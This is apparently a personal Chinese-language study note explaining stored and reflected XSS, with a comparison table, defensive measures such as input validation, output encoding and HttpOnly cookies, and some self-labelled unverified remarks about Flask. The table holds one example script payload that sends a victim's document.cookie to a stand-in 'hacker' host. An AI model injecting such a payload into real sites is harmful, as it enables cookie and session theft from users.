XSS

原理

XSS(跨站脚本攻击)分为两类

存储型

攻击者通过输入框植入恶意代码到数据库中,例如留言板、评论、博客日志和各类表单进行植入,然后回显到前端页面进行攻击,例如访问某个小站,实现类似DDos,或者将其他用户的Cookie提交到黑客的服务器

反射型

反射型:将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。

类型 持久化 原理 例子
存储型XSS 持久化在数据库中 攻击者通过输入框植入恶意代码到数据库中,例如留言板、评论、博客日志和各类表单进行植入,然后通过页面回显执行恶意代码 人人网又一大波蠕虫:https://www.secpulse.com/archives/15681.html
反射型XSS 不持久化 欺骗用户自己去点击链接才能触发XSS代码,以获取Cookie信息 <SCRIPT>var+img=new+Image();img.src="http://hacker /"%20+%20document.cookie;</SCRIPT>

防御

  1. 输入类型校验,例如手机号只允许数字,email格式用正则校验
  2. 对于用户输入的特殊字符,我们必须要做编码,可以使用OWASP AntiSamp XSS规则过滤引擎对用户输入进行编码过滤
  3. 不要引入任何不可信的第三方JavaScript到页面里,一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等
  4. 使用HttpOnly避免cookie被恶意js获取

补充

  • 在我尝试通过Flask来实现模拟攻击时失败了,在Flask中return template script标签的内容是作为字符串的显示在页面的,而我直接return 字符串攻击时成功的,那这么说Flask template是后端渲染是么? 看样子好像是的- -!(未验证)
  • Post是否会比Get安全在XSS安全威胁中?(未验证)

results matching ""

    No results matching ""